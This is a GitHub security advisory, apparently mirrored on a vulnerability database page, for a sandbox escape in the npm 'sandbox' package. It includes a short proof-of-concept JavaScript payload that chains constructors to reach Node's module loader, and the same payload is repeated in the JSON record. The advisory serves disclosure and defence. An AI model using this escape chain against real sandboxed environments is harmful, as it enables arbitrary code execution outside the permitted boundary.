GHSA-FM4J-4XHM-XPWX

Vulnerability from github – Published: 2020-09-02 15:51 – Updated: 2020-08-31 18:34
VLAI?
Summary
Sandbox Breakout / Arbitrary Code Execution in sandbox
Details

All versions of sandbox are vulnerable to Sandbox Escape leading to Remote Code Execution. Due to insufficient input sanitization it is possible to escape the sandbox using constructors.

Proof of concept

var Sandbox = require("sandbox")
s = new Sandbox()
code = `new Function("return (this.constructor.constructor('return (this.process.mainModule.constructor._load)')())")()("util").inspect("hi")`
s.run(code)

Recommendation

No fix is currently available. Consider using an alternative module until a fix is made available.

Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "sandbox"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.0.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [],
    "github_reviewed": true,
    "github_reviewed_at": "2020-08-31T18:34:58Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "All versions of `sandbox` are vulnerable to Sandbox Escape leading to Remote Code Execution. Due to insufficient input sanitization it is possible to escape the sandbox using constructors.\n\n## Proof of concept\n```\nvar Sandbox = require(\"sandbox\")\ns = new Sandbox()\ncode = `new Function(\"return (this.constructor.constructor(\u0027return (this.process.mainModule.constructor._load)\u0027)())\")()(\"util\").inspect(\"hi\")`\ns.run(code)\n```\n\n\n## Recommendation\n\nNo fix is currently available. Consider using an alternative module until a fix is made available.",
  "id": "GHSA-fm4j-4xhm-xpwx",
  "modified": "2020-08-31T18:34:58Z",
  "published": "2020-09-02T15:51:34Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/gf3/sandbox/issues/50"
    },
    {
      "type": "WEB",
      "url": "https://www.npmjs.com/advisories/766"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [],
  "summary": "Sandbox Breakout / Arbitrary Code Execution in sandbox"
}


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Sightings

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Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.



Detection rules are retrieved from Rulezet.